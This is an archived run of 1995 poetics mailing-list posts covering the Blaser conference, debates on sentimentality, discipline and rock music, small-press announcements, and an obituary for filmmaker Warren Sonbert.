Re: speaking of blaser conf.
Tue 6 Jun 1995

Well, for me the lowest point of the Blaser conference was when my wife fell head over heels over Pierre Joris!

↑ Index

43. Pierre Joris
Re: speaking of blaser conf.
Tue 6 Jun 1995

>
> Well, for me the lowest point of the Blaser conference was when my
> wife fell head over heels over Pierre Joris!

>
Shucks honey, for me the lowest moment was when one George Bowering introduced me as being from Belgium!

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
==========
==========

↑ Index

44. Lindz Williamson
Re: adios muchachos
Tue 6 Jun 1995

But when you say, "He tells me you don't get enough Canadian stuff and we'll be pleased to supply, but not represent the whole as the Conference was a "western" affair. Lots of Toronto bashing was in the air." -- I'm not certain what you mean, or if you are just replying to Ryan in some personal way I don't get. Just know that not all tuned to this list have loyalties to Toronto or Vancouver or Buffalo or any particular place. My own are curiously displaced toward the Arizona desert, where there are a few people who are on this poetics list as well.

Charles,

I wasn't replying to Ryan, rather Ryan was approached by Kevin Killian at the reading last night and I accompanied Ryan to the reading along with Reg (new to the list). Kevin expressed an interest in receiving new Canadian poetry from Ryan and I and any others we knew because he had little except from established writers. The western reference is just part of the continuing war amongst East and West in Canada. We the west (Granola Heads) enjoy poking at the Snobs with snow in the east. As far as I know Ondaatje was the only Eastern based writer at the reading last night. It's all part of the Canadian mentality, if you say you're driving across Canada it means you're either going east to Toronto or Montreal, or west to Vancouver. The prairies and the maritimes although great sources of Canadian culture are not included in the concept of the civilized world. They are a source of great insecurity and pride. My Mom's a maritimer (Newfie) which puts me at the but of several jokes. I'll leave you with one (note my Mom has seven brothers)

How does a Newfie girl stay a virgin?

Run faster than her brothers.

Lindz

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45. Jordan Davis.
a=a is sentimentality
Tue 6 Jun 1995

Ed,
Okay, but what's poetry got to do with truth value? And what thing doesn't exactly fill the container of itself? Sounds. Sounds like. Sounds like teen spirit.
Jordan

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46. cris cheek
Re: message fr criss cheek
Tue 6 Jun 1995

Hi - posting this broad - it's still the mechanics of construction discussion.

> *cris, hi: are you out there? --just wanted to know if you received my last post re the visual poetries loop? experiencing some challenges here trying to work the cc and alias functions, and understand there are some alternatives which we could discuss*
>
> *look forward to hearing from you,*
> *carl*

hi carl I am here and listening. Just soaked in exams this couple of weeks and reeling from a conference as you must also be.

> *Hi,*
> *My name is Jody and I'm helping Carl with this. We tried to create a private group with aliases here to simplify this, but our software won't let us put outside addresses in alias groups. The easiest way to do this would be for you to use a programme called majordomo which is quite common at unix sites, or perhaps you have access to listserver software. These sorts of programmes are really the only reliable way to manage lists. Without them your group will probably be unmnageable in any practical sense. Contact your system/mail administrator(s) and see if they can help.*
>
> *Jody*
> [redacted]

I'm aware of the majordomo system and no i don't have access to that listserv software. It's how I get info on Chiapas through Harry Cleaver at Texas for example.

I wanted to do it like Funkhauser's d i u and that's the system i was trying. But i categorically don't want to 'run a list' or become any kind of surrogate sysop. It just seemed that there were areas of discussion, particularly in respect of visual and performance poetries that could be a thread running parallel to but not clog into the main 'poetics' list. I'd hoped to kickstart something that would grow organically and be de-centred and self-generative.

What next?

love and love
cris

↑ Index

47. Burt Kimmelman

Re: a=a is sentimentality

Tue 6 Jun 1995

Jordan,

It seems to me that if you are going to move from "sentimentality" to the question of "truth value" then you are now in the realm of subjectivity-objectivity, and in this realm it seems to me that either kind of language approaches "truth" though in different ways. Moreover, poetic Objectivism, for instance, is at heart, perhaps, grounded in subjectivity, whereas philosophical objectivism is grounded in . . . ?--that is, say, Quine versus Heidegger. As Rorty wrote some time ago already, "Non-Kantian philosophers like Heidegger and Derrida [versus Neo-Kantians like Putnam, Strawson, and Rawls] are emblematic figures who not only do not solve problems, they do not *have* arguments or theses." Rorty continues: Derrida is the latest in a line of philosophers who attempt "to shatter the Kantians' ingenuous image of themselves as accurately representing how things really are."

Burt Kimmelman
[redacted]

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48. Christopher Reiner

WITZ

Tue 6 Jun 1995

ANNOUNCEMENT

The new issue of _Witz_, a journal of contemporary poetics, is now available.

This issue (volume III, number 2) contains essays by Mark Wallace ("On The Lyric As Experimental Possibility") and Karl Young ("Roman Reading"). There are two reviews of Don Byrd's _The Poetics of the Common Knowledge_, one by Robert Grenier and one by Chris Stroffolino. Daniel Barbiero reviews _The Art of Practice_; and Harry Polkinhorn reviews a number of books from Left Hand Press.

Witz is published in a newsletter format (8-1/2" x 11"), sixteen to twenty pages per issue, stapled.

A single copy is $4, but if you'd like a sample copy, send a 55-cent stamp to the address below.

Individual subscriptions are $10 for three issues ($30 for institutions). Please make checks payable to Christopher Reiner and send them to:

WITZ
10604 Whipple Street
Toluca Lake, California 91602

If you have any questions about _Witz_, or if you'd like to send a review or essay, you can e-mail me ([redacted]) or send it by regular post. Subjects and themes are always open (i.e., I don't do theme issues).

ASCII files of previous issues (1.1 to 2.1) of _Witz_ can be downloaded from the Electronic Poetry Center. All back issues are available from me.

I was going to include a list of back issues and their contents, but it ran a little long (about 75 lines). I'll e-mail it to anyone who wants it.
---------- Christopher Reiner [redacted]

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49. Kenneth Goldsmith

New Releases From Hard Press/Lingo

Tue 6 Jun 1995

Date: 06 Jun 95 09:49:17 EDT
From: Jonathan Gams <[redacted]>

Hard Press, Inc.
P.O. Box 184 West Stockbridge, Ma., 01266
[redacted]
email: Jonathan Gams <[redacted]>

New from Hard Press:

==========

lingo: A Journal of the Arts

Issue # 4 featuring a 30-page music section including Mark Swed on new composers who incorporate pop elements into concert music and Peter Occhiogrosso's Highly Selective Guide to Recent Concert Music * Kent Jones on Abel Ferrara and his Films * Color Portfolio including Philip Guston, Anna Bialobroda, and Noel Dolla * Art essays by John Yau and Raphael Rubinstein * Hubert Selby Jr.'s short story A Christmas Tale * Photography by Judy Fiskin, Hiroshi Sugimoto, Ben Watkins, and others * Keith & Rosmarie Waldrop Interview Claude Royet-Journoud * Chris Stroffolino reviews David Shapiro's After a Lost Original * Work by Bob Perelman, Dodie Bellamy, Lisa Jarnot, Will Alexander, Kevin Killian, Kim Lyons, Anselm Hollo and many more. $12.50

==========

THE DESIRES OF MOTHERS TO PLEASE
OTHERS IN LETTERS
By Bernadette Mayer

A monumental St. Bernadette to the initiates, this work has achieved something like the status of "Manuscript Classic." An epistolary text which takes as its formal parameters the nine months of Ms. Mayer's last pregnancy-an augury by bee sting- and writes the reader's psyche to the fences... $12.95

==========

LOWELL CONNECTOR: LINES AND SHOTS FROM KEROUAC'S TOWN
By Clark Coolidge, Michael Gizzi, and John Yau. Photographs by Bill Barrette and Celia Coolidge.

As homage to a writing hero, and as catalyst for their own work, the authors of Lowell Connector made several trips to Kerouac's hometown of Lowell, Massachusetts. The procedure was to visit specific sights described in Kerouac's work, taking in the homes, haunts, schools and literary memorials as a kind of memory protein in the activation of their own work. $12.95

==========

New From HARD PRESS:
House of Outside First Book Series

Solow
By Lynn Crawford

Haven't wanted to read anything lately, certainly not any of the 500 manuscripts and galleys I get a year. However, I found Solow facinating. It reminds me of early John Hawkes which is still for me the best Hawkes. The whole dreamscape was especially vivid.- Jim Harrison $10.00

==========

The Geographics
By Albert Mobilio

This impressive first book manages the double ground of a nightmarish surrealism and a dryly perceptive wit. It's as if Humphrey Bogart were taking a good, if final, look at what's called the world. These are poems of a survivor, urbane, intellegent, fact of hope and despair equally. The Geographics is an ultimate detox center for "reality" addicts as thinking becomes the only way out. - Robert Creeley $10.00

==========

Hard Press, Inc.
P.O. Box 184 West Stockbridge, Ma., 01266
[redacted]
email: Jonathan Gams <[redacted]>

==========

Kenneth Goldsmith
[redacted]

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50. Edward Foster
Re: a=a is sentimentality
Tue 6 Jun 1995

---

tho liking teen spirit, it's a problem. sounds=true, well, the greeks undid that, i mean c. 5th cent. b.c.e., that'll do for a date as well as any. and, ah, what doesn't fill the container of itself? well, whatever PROPOSES to be, tho on 3rd thought

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51. I.LIGHTMAN
Re: sentimentality
Tue 6 Jun 1995

Some questions:

Does music move more than poetry - or does the average musical concert move more than the average (avant-garde or otherwise) poetry gig?

Is this because of the ways music and poetry are being written; the physicality of playing (what about concerts with taped material?)?

Do poets rehearse as much as musicians, or at all, for a gig? Is professionalism and/or discipline uncool in a poet?

Ira

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52. Sheila E. Murphy
Re: sentimentality
Tue 6 Jun 1995

Ira asks:

> **Does* music move more than poetry - or does the average musical concert move more than the average (avant-garde or otherwise) poetry gig?*

It would appear that music DOES move more than poetry. The combination is even MORE potentially stirring than music independently.

> *Is this because of the ways music and poetry are being written; the physicality of playing (what about concerts with taped material?)?*

I think that music is more closely connected to the core of us. That the materials being worked with are inherently capable of a generating a more powerful response.

As one who made a conscious choice to replace musical composition and performance with poetry composition and performance, I actually felt I'd shifted over to a medium that is congenial to music in ways that some writers don't get into. Not that everyone should. It's just a auditory inclination.

> *Do poets rehearse as much as musicians, or at all, for a gig? Is professionalism and/or discipline uncool in a poet?*

Most poets do not rehearse very much at all. Some sterling performers prepare the frame that allows the nuances to emerge and show in the actual performance. Discipline is at the core of any human competence.

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53. Marisa A Januzzi
Re: a=a is sent
Tue 6 Jun 1995

Ira: Hey, put the names in an *electronic* envelope, how about!

I don't think music moves more than poetry in performance, but then this might be a question of audience. I'm in New York City, where "concert" very often means $20/ 2 drink min., or else snoozing retirees on their regular matinee expedition. (On the other hand, the first time I saw "The Rites of Spring" performed by an orchestra was at Carnegie Hall, and there was a white-haired woman in front of me who came to life to the extent that she worked the brown velvet ribbon right off the back of her head, with all her air conducting and seated ballet twists.)

I would love to reroute the sentimentality thread toward the question of beauty. (WAIT, don't hit the delete button yet...) In the past couple of yrs I've asked some people on this list the question "What about beauty," and interestingly I've found that while one might expect to be lectured on the institutional underpinnings of that construction, in fact I've been treated to just the opposite. One poet told me to read Sobin. A friend who used to help run the Kitchen told me to listen to Morton Feldman's THREE VOICES FOR JOAN LA BARBARA, a setting of a Frank OHara poem which sounds like a vocal snowfall. And I heard "beauty," and I am still wondering how it is that when you ask, people who one mght think would've discarded the word as too problematic in fact have a special category for it, a sort of unacknowledged one. Sentiment, Subjectivity, or something else? ----------Marisa

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54. Carl Lynden Peters
Re: sentimentality
Tue 6 Jun 1995

>
> Some questions:
>
> *Does* music move more than poetry - or does the average musical concert
> move more than the average (avant-garde or otherwise) poetry gig?
>
> Is this because of the ways music and poetry are being written; the
> physicality of playing (what about concerts with taped material?)?
>
> Do poets rehearse as much as musicians, or at all, for a gig? Is
> professionalism and/or discipline uncool in a poet?

>
> Ira
>
---what a wonderful series of questions. my first initial response is
that rock, pop or whatever is the ultimate art form -- i can't qualify
that -- i'm going on instinct, and that "rock stars" are the real _Shamans_
c

↑ Index

55. Carl Lynden Peters
Re: message fr criss cheek
Tue 6 Jun 1995

cris, hi:

--with respect to what you noted regarding the formation of a list for visual/sound poetry, i'm told a list can be enacted here (at simon fraser univ. in vancouver), and if you wish to consider that i can get the ball rolling. but i know this is completely your baby, and it will remain so. like yourself, though, i have a serious interest in and love of "concrete," and want to do anything i can to re-invent the public for it. but it's your call

look forward to hearing from you
carl

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56. Ryan Knighton
Re: discipline
Tue 6 Jun 1995

Ira asks in a recent post "is discipline uncool in a poet". A wonderful question, I think, being unestablished and undefined by a tradition or "school", as of yet. Reg and I were discussing this very problem recently, which is, in some respects, a source of great despair to us. My understanding is that Vancouver is not unlike many other cities in the dynamics of its younger poetry scene (I mean the scene freqented by G1'ers, or goners, if you like). REg teaches at Simon Fraser and I study there and perhaps for this reason our poetry is very aware of its historicity, of where matters of style and imagination come from, and that whole business of the anxiety of influence. When I look at some of my poems in a stack, it reminds me of little league and how you had to shake the hands of all the other team's players when the game was over:"Good game, good game, good game....". Each poem acknowledges with love who I've been playing with

and against. And I think this is necessary and inevitable for a time. But there is an open-mike circuit in Vancouver which is not interested in "traditions" or the discipline which informs a work. Rather, it is a fast, aggressive and usually nihilistic crowd which resents academically informed work. I think Patrick Lane described this circuit of poets as wanting poems to work like t.v. chat shows: confessional, sensational, voyeuristic and quick. I suppose this is a tradition now, maybe cultivated from a media interpretation of the beats, on the surface. But it is very popular and what students and the like want to hear while they're drinking. I've written poems specifically for this kind of occasion with some success, and it was fun. But that was all it was about. So, my question is, how does tradition and its disciplines fit into a venue or readership where entertainment and mass production are the rules of the game? Perhaps I'm just whining out of personal taste, but this is not the league I want to play in, despite its growing popularity.

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57. Susan Clark
GIANTESS: the organ of the New Abjectionists
Tue 6 Jun 1995

Dear All,

The first issue of *GIANTESS : the organ of the New Abjectionists* -- an 18-page stapled object which opens to 28 cherry inches widthways -- is now available. We exhausted a first run, giving it away at the Blaserfest here, but will print further copies for those of you who have been waiting for your subscription copy (GIANTESS is the defunct *Q'ir'i* collapsed into the sadly defunct *Barscheit*), or for others who want to order copies or begin a subscription in the next couple of months (ie before the next issue).

Please send $4 for an issue, postpaid. Or subscribe for $9 for three issues (or $5 with a subscription to RADDLE MOON).

Single copy orders and subscriptions to : 2239 Stephens Street, Vancouver, BC, V6K 3W5 Canada.

We can bank United Statesian money/cheques/money orders; please be tactful however and refrain from "converting" : $4 is $4, $9 is $9.

The first issue has :

the opening pages of *Phatic*, a novel in progress by Lisa Robertson;

"Punctured," Dodie Bellamy's response to the fundamentalist comic artist, Jack Chick;

Christine Stewart's "Classical Tragical Play," *DuRiving*; and

Catriona Strang's poem, 'Gap'

RADDLE MOON 14 (product description following in a day or two) is due from the printer this weeks. A good time to subscribe/support, with our thanks; it absolutely helps. (*Raddle Moon* subscriptions are $12 for two issues; $24 for four, etc.; single copies are $7, back list [various prices] is available.)

My email is : [redacted]

Good to meet and re-meet so many of you here. I wish we could do this -- I mean something like -- every year.

good wishes,
Susan Clark

[redacted]

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58. Charles Bernstein
Warren Sonbert 1947-1995
Tue 6 Jun 1995

Warren Sonbert died on Wednesday, at home and surrounded by friends. He was
47 years old.

I got the news in a letters from Lyn Hejinian and Tom Mandel. Tom wrote:

Charles, the news may have reached you already. Warren died yesterday (wednesday) at 10:30 am. In his bed, in his sleep, and with friends at his side. Beth and I had been in SF the whole weekend, left tuesday, and were with him daily. He was conscious on thursday when we arrived, tho in pain with organs failing and unable to speak or to move much, and would confirm requests by squeezing his hand around yours. We read to him, to a strong attention. Whitman. The days that followed he was agitated, feverish, only occasionally responsive (hands) and in much discomfort increasing. By sunday evening it had become obvious that fluids and pureed food only caused intense pain and prolonged it too, by whatever number of hours or few days, and the decision was taken to limit them severely and to up his morphine substantially. By monday afternoon, when I kissed him goodbye, he was fading and probably not conscious of one's presence or only fleetingly and as shallow this sense of any world as his breath, shallow, effortful, unsustaining. I will miss him, deeply and for a long time.

tom
*

Lyn, after telling me the news, and remembering Warren, mentioned that there is to be a screening of his early films at the Yerba Buena Center in San Francisco on June 22. Carla Harryman will introduce.

****

Warren's wonderful, poetic, films immeasurably enriched the art of cinema.

His 15 films are:

Amphetamine (1966). "First film, heavy influence by Goddard and Warhol -- designed to shock." (sound/10 min.)

Where Did Our Love Go? (1966). "First pleasure romp: along the various venues of culture, circa 1966, New York." (sound/15 min.)

Hall of Mirrors (1966) -- made while a student at NYU film school: `correcting' dailies from a 1947 murder film, with added sequences of Rene Ricard at home, Gerard Malanga at a show of Lucas Samaras's `Hall of Mirrors'. (sound/7 min)

The Bad and the Beautiful (1967). "Mutual (I film them, they film each other) portraits of eight New York couples, mercifully, you'll be relieved to learn, only one pair of whom are still together. Editing in camera" (sound/30 min.)

Holiday (1967). "High spirited glances (along with *Truth Serum*) at Coney Island, Appalachian Trail, New Jersey, the Janis Gallery." (silent/15 min.)

Truth Serum (1967). (silent/12 min)

Carriage Trade (1971) -- the first film of his most characteristic mode consisting of a procession of intercut images, an open-ended collage of shots taken in widely disparate locations. Warren himself wrote: "Magnum opus (and my first real silent) made up of section of [early films]. The strategies of combing `old' images with recent trips through Asia, North Africa, Europe and North America. I went to see this film with my daughter Emma (then 9) this past fall; it played as part of the Museum of Modern Art's October Sonbert retrospective. It is hard to believe that a film this stylistically commanding and elegant was made by Warren when he was in his early 20s. Like many of Warren's films, there is an elegiac quality to the passing of the images, of the evanescent quality of scenes screened, time slipping by. (silent / 61 min.)

Rude Awakening (1972). "Tautening this silent period's approach." (silent/36 min)

Divided Loyalties (1978). "Further development of editing concerns." (silent/22 min.)

Noblesse Oblige (1981). "Furthest distillation (along with *The Cup and the Lip*) of later manner editing/dislocation approach." (silent/58 min.)

A Woman's Touch (1983). "A backslide into earlier `personality' scheme." (silent/23 min.)

The Cup and the Lip (1987). (silent/20 min.)

Honor and Obey (1988). "Quick setting (two weeks?) of a film on a dare for the NY Film Festival." (silent/22 minutes.) Since Warren often worked for years on setting, eg cutting, his films, his comment is striking. It was fun to see Sonbert's film as among the few such works shown at the NY Film Festival. At this point, such films were shown as shorts, accompanying feature films, always provoking the ire of the "sophisticated" film festival audience. The running joke was that someone would yell out "SOUND!". Later, the festival grouped such films together under the title "avant garde visions" as I recall: they've got narrative we've got visions. Actually, Sonbert's films are a running revision of the possibility of narrative in the cinema.

Friendly Witness (1989). NY Film Festival again with music/image interplay. (32 min.)

Short Fuse (1991). "Last NY Film Festival music/image experiment." (37 min.)

[All quotes from the flier for his October 1995 MoMA retrospective.] *

Whiplash - According to Tom Mandel a rough cut of this film exists; hopefully, a version of this final film will one day be available.

((((()))))))

"The body dies, the body's beauty lives" -- Wallace Stevens

On the Poetics list there has been a recent discussion of sentimentality and I suppose it's in a notice like this that it is most difficult to find a balance between sentiment and substance. Because nothing you can say can account for the fact of Warren's death at 47 and because grief over Warren's dying also echos with that of many others of our generation who have died of AIDS. So there is a need to balance that hideous, unrepresentable, general fact with the specifics of this particular person.

Warren had an extraordinary grace both in his films and in his life. Talking about this quality of Warren's with Abby Child yesterday she said "he was a `prince'". But only in the sense that he made you feel graceful too, to be with him, to talk of movies or poetry or music or gossip about friends. He seemed to live a charmed life -- travelling the world, attending operas in Europe and North American, having his work shown at Festivals and museums. But charms are haunted.

As part of his MoMA retrospective, Warren got to pick four feature films that he particularly liked, and these were shown alongside his films. For those who can't get one of Warren's films, rent a video of one of these and watch it in his

honor: Lubitsch's "The Man I Killed (Broken Lullaby)" (1932), Wilder's "Kiss Me Stupid" (1964), Preminger's "The Cardinal" (1963), and Vertov's "Man with a Movie Camera" (1929). Last night, AMC was playing one of the Sirk films that Warren loved: "Imitation of Life" (where early on the earnest young photographer tells of his implausible ambition to have his pictures shown at the Museum of Modern Art). When I mentioned this to Tom Mandel he pointed to Sirk's "Magnificent Obsession"; catch it, if you can, *tonight* on AMC.

When Warren was visiting us in the Fall, Emma was taping interviews of friends, relatives, and neighbors. She asked Warren what his favorite holiday was. He said, "Halloween, because I like to dress up."

This prince is dead. His films live to light up the shadow his death has cast.

--Charles Bernstein

↑ Index

59. Reginald Johanson
discipline
Tue 6 Jun 1995

I like Ryan's move on the question of whether discipline is uncool, placing at the boundary between the university/small presses (often run by people trained in the university) and the open-mike scene which often expresses contempt for that poetry. It seems to be a question of whose camp one is in: the university has never recognized anything as poetry except that which it chooses to anthologize, and its anthologies reflect its concerns. The open mike business is anarchic, poet as punk, and doesn't leave a record of itself because it can't concentrate that long. Then there are people like me on the margins of both comfortable in neither. Now what, eh?

↑ Index

60. George Bowering
Re: discipline
Wed 7 Jun 1995

The open mike scene is usually disappointing, isnt it, Reg? If it isnt, why isnt it?

↑ Index

61. George Bowering
Re: sentimentality
Wed 7 Jun 1995

Regarding Carl Peters' remark that rock stars are artists etc. I figure he is trying to be silly or maybe provocative. The electric guitar amped is easy to play, easy enough to do that strumming they do in them punky bands. I decicded to watch that band called "Hole" on TV. Ohhh, look at the funny clothes, that's got to be worth 1000 points. oooh look how she has her hair over her eyes, wow. Ooh look how she leans way back and strums, woopie. 2000 more points. That ought to tax the minds and souls of any 12-year-old. I am amused by the pathetic yearning after respect by thye industry. 3-chord strummers call themselves "artists" instead of children's music entertainers. They perform at "concerts" instead of shows. Etc. They usyally appeal to the kind of refined and complkicated miond that likes Charles Bukowski's poems. There are good musicians with some brain and chops, like Frank Zappa. "Hot Rats" is really good. It might be as good as Delibes. But Nine Centimeter nails, etc? So what if your friends think yr a goop for saying you doubt whether they are really good artists? Listen to a little Monk, for god's sake. And when the whang whang boys and girls arent taking words from serious adult music, they try to swipe it from jazz and blues, steal lingo from great 1940s Black artists.

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62. George Bowering
Re: adios muchachos
Wed 7 Jun 1995

I dont know where Lindz gets the idea about east-west bashing at the Blaserfest and readings. I was there all the way and didnt notice it. It is also not true that Ondaatje was the only eastern Canadian poet at the readings; there were plenty. McCaffery and Mac Cormack, Robt Hogg, Victor Coleman, for examples. Erin Moure was there. And we embraced all these people as ourselves.

↑ Index

63. George Bowering
Re: speaking of blaser conf.
Wed 7 Jun 1995

Yeah, Pierre, but I also introduced Eshleman as being from Kalamazoo.

↑ Index

64. Alan Sondheim
Re: sentimentality
Wed 7 Jun 1995

You're serious? You're really serious? You don't get Hole? If it's satire below, it's missing the point; if it's not, I'm scared...

Alan

On Tue, 6 Jun 1995, George Bowering wrote:

> *Regarding Carl Peters' remark that rock stars are artists etc. I figure he is trying to be silly or maybe provocative. The electric guitar amped is easy to play, easy enough to do that strumming they do in them punky bands. I decicded to watch that band called "Hole" on TV. Ohhh, look at the funny clothes, that's got to be worth 1000 points. oooh look how she has her hair over her eyes, wow. Ooh look how she leans way back and strums, woopie. 2000 more points. That ought to tax the minds and souls of any 12-year-old. I am amused by the pathetic yearning after respect by thye industry. 3-chord strummers call themselves "artists" instead of children's music entertainers. They perform at "concerts" instead of shows. Etc. They usyally appeal to the kind of refined and complkicated miond that likes Charles Bukowski's poems. There are good musicians with some brain and chops, like Frank Zappa. "Hot Rats" is really good. It might be as good as Delibes. But Nine Centimeter nails, etc? So what if your friends think yr a goop for saying you doubt whether they are really good artists? Listen to a little Monk, for god's sake. And when the whang whang boys and girls arent taking words from serious adult music, they try to swipe it from jazz and blues, steal lingo from great 1940s Black artists.*

↑ Index

65. George Bowering
Re: sentimentality
Wed 7 Jun 1995

Well, if "Hole" is satire, it's about as funny as Conan O'Brien.

↑ Index

66. Alan Sondheim
Re: sentimentality
Wed 7 Jun 1995

I was referring to your writing; I like Hole, a hell of a lot better than Nirvana for that matter, the energy, the edge, Love's writing on the Net which is some of

the best and most intense stuff I've seen. I don't even think that Monk would figure music to be "about" technique, and I wouldn't care how many chords Hole does or doesn't use, any more than I care about the range of PJ Harvey's voice or Bratmobile's backup. It's like worrying Robert Frank's focusing and grey scale. It's about something else and you may not like it but you're missing it wide of the mark.

Alan

On Tue, 6 Jun 1995, George Bowering wrote:

> *Well, if "Hole" is satire, it's about as funny as Conan O'Brien.*

↑ Index

67. George Bowering
Re: Actually actual?
Wed 7 Jun 1995

Oh hell, ten or however many years ago people were telling me that ABBA was good, so I listened and it was crap, and now those people are making fun of it. Now they say listen to Hole, so I listen to Hole. It is crap. So I await another decade. I just dont get the withitness that intellectuals try to achieve by praising dumnWdumb children's music instead of getting up the nerve for hard stuff.

↑ Index

68. Alan Sondheim
Re: Actually actual?
Wed 7 Jun 1995

It's probably hard for you to believe but the "withitness" is simply loving the music. And what constitutes children's music? And what's the waiting another decade bit? I still listen to the Sex Pistols and they're not exactly Monk-like; I listen to them more than Monk in fact. I'm not arguing taste with you, it's the blatant dismissal of stuff that's I find bizarre. So you don't like it? I don't like Monk. I don't remember Abba, but I listen to SPK, Albert Ayler, and Hole. And now that I think of it, thank God a lot of this stuff is children's music...

Alan

On Tue, 6 Jun 1995, George Bowering wrote:

> *Oh hell, ten or however many years ago people were telling me that ABBA was good, so I listened and it was crap, and now those people are making fun of it. Now they say listen to Hole, so I listen to Hole. It is crap. So I await another decade. I just dont get the*

> *withitness that intellectuals try to achieve by praising dumnWdumb children's music instead of getting up the nerve for hard stuff.*

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69. George Bowering
Re: art after art after art
Wed 7 Jun 1995

I remember that some time in the 50s Marshall McLuhan said something to the effect that the artists are not ahead of their time, but that they are in the present, while most people are living in the past. He later used the trope of the rear view mirror.

↑ Index

70. Alan Sondheim
Re: art after art after art
Wed 7 Jun 1995

This brings up a constant argument I have here in NY in relation to the artworld; the Net itself seems to embody more interesting (no def. here) aesthetics than the artworks placed upon it or using it. As if artists are attempting to keep up with a culture that has by and large outstripped them.

In this regard, I'm amazed at the inventiveness, say, of MOOs, of Usenet groups such as alt.destroy-the-internet and alt.adjective.noun.verb.verb. verb, alt.dirty-whores, or the Monster Truck Neutopians on alt.society. neutopia, of John December's Web Pages, and so forth. The mirror you mention may well be a computer screen, accessible to all, and "art" itself is becoming unclear, blurred, muddied. I'd say that most artists I know are living in the past in relation to the Net, and an awful lot of Net people are burning towards the future, artists or not.

Sorry for the meandering reply.

Alan

On Tue, 6 Jun 1995, George Bowering wrote:

> *I remember that some time in the 50s Marshall McLuhan said something to the effect that the artists are not ahead of their time, but that they are in the present, while most people are living in the past. He later used the trope of the rear view mirror.*

↑ Index

71. Sheila E. Murphy
Re: discipline
Wed 7 Jun 1995

Ryan, I enjoyed your post about discipline (one of my favorite topics!). The short answer would be that for whatever level of intensity you choose for the discipline you want or need, there will be a venue. The bell curve is alive and well out there. No need to genuflect to any process that's not enough for you.

↑ Index

72. Charles Alexander
Re: adios muchachos
Wed 7 Jun 1995

Thanks, Lindz.

Being originally from Oklahoma, I think I understand. Although it should be noted that several of the second or third wave New York School poets (Ron Padgett, Joe Brainard, and a couple of others) are actually from Oklahoma and followed Ted Berrigan from Tulsa to NY after he taught in Tulsa for one or two years.

Me, I went west, and only recently ended up in this upper Midwestern place which is still foreign territory.

But wasn't Steve McCaffery at the Vancouver reading? Is he considered Eastern Canadian, or as a migrant from England, is he altogether out of the Canadian east/west context?

I'd be proud to be a Maritimer, too.

all best,
charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

73. Pierre Joris
Re: speaking of blaser conf.
Wed 7 Jun 1995

> *Yeah, Pierre, but I also introduced Eshleman as being from Kalamazoo.*

Well, George, someone or other will have seent hat as the high or low point, as the case may be.

But kidding aside, the high point of the conference was obviously Robin, & given that Robin was there all the time, the high point was all the time. I had a wonderful time, so, thank you Vancouver & -ites.>

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

↑ Index

74. Chris Stroffolino

Re: Warren Sonbert 1947-1995

Wed 7 Jun 1995

So--why doesn't somebody with money (like James $herry or somebody) put on a Warren Sonbert retrospective and film festival in some poetry/art space in NYC (and somebody else can do it on the west coast)--- The reason i ask is because there is so little crossover between genres these days---it seems the specialization of the art world is harder to overcome than it was 35 or even 20 years ago--Who are the young experiental filmakers of my generation? (or of LINDzzzzz's generation)? Are they too busy trying to get funding to come down and meet us poets? Are they working in video? Maybe I haven't looked around enough, so I'm trying to keep my eyes pried open. Chris (oh--I got off the point--the point is that for those of us who have only the vaguest memory of Sonbert from college experimental film shows-- it would be good for the poetry community to actually get out of its sick little "words words words" attitude at least for awhile and come together over (it)).....

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75. Chris Stroffolino

Re: sentimentality

Wed 7 Jun 1995

Mr. Peters certainly sounds snooty today--

↑ Index

76. Chris Stroffolino
Re: Actually actual?
Wed 7 Jun 1995

And george bowering also claims that intellectuals could only possibly like bands like Hole and not the "hard stuff" for spurious reasons of "hipness"---- When I worked on the editorial board of a poetry magazine in the late 80's-- the editor made me listen to PARSIFAL (sp?) and if i seemed appreciative I was in (it was part of the screening process)--- Ironically, his love of OPERA-- especially aryan opera--and other "difficult high culture"(and yes I know opera was ORIGINALLY low culture--like jazz before it was called "African American Classical") was not parelleled in his love of literature--he went for the Bly, Hugo,Logan nexus in poetry. I on the other hand preferred Ashbery, O'Hara, etc---but to "unwind" found myself listening more to rock and blues and reggae and stuff than classical and even jazz... I certainly do not want to be dogmatic about this, or eclectic-- but just who ARE these people to be so PRESCRIPTIVE about what music a good poet should listen to---it guarantees nothing, my friends, except perhaps a verbal sophistication when talking to someone like a famous poet who doesn't like talking about poetry at parties and so you gotta find something else to talk about (and "politics" gets boring-- so it turns to music--but then there's these fights over music--I was a t a party once where one friend called another "a musical nazi")...

↑ Index

77. Jordan Davis.
a=a is what does bad poetry do
Wed 7 Jun 1995

Marisa,
Okay, let's go the other way.

Ed,
Now don't you proposition me!

Burt,
Re truth: Ed started it!

Question for the group--what harm does bad poetry do?

Love,
Jordan

("Sincerity is verbal etiquette--it works for some boys"--Barscheit Nation)

↑ Index

78. Kevin Killian
opportunity knocks
Wed 7 Jun 1995

Hey people,

I'm putting together a reading series for the fall and winter of next year, for Small Press Traffic. It is to be an experimental series with a heavy multi-cultural emphasis--and it is to highlight 5 small presses (one press per evening, two readers published by that press), to promote those presses. Included in the project will be a newsletter with work by the readers, as well as reviews of various books by the presses. There is some money for this, but I'm not sure exactly how much. All the readers will be paid. I may do more than 5 evenings.

So, anybody interested in this? Anybody published by a small press planning to be in the Bay Area in the fall or winter? I'd like to put a tentative list together by the end of this month.

Thanks,
Dodie Bellamy

And, Maria D.--other than the fact that Susan Howe's reading was mouth-gapingly incredible, anything else interesting I'd have to say about Blaserfest would be strictly backchannel, i.e., Gossipfest. <grin>

↑ Index

79. Robert Drake
Re: Actually actual?
Wed 7 Jun 1995

> *...I just dont get the*
> *withitnessthat intellectuals try to achieve by praising dumnWdumb*
> *children's music instead of getting up the nerve for hard stuff.*

sound like you think it's an either/or choice? or am i misreading. i enjoy hole, & monk, & bach, & gid tanner and the skillet lickers (who could probably play a whole barndance w/ only 2 chords)... all for different reasons & in differnt ways. or, to bring it back to poetics, i've even read some bukowski that i enjoyed-- why compare apples & sardines, or choose between 'em? unless yr trying to impress...

lbd

↑ Index

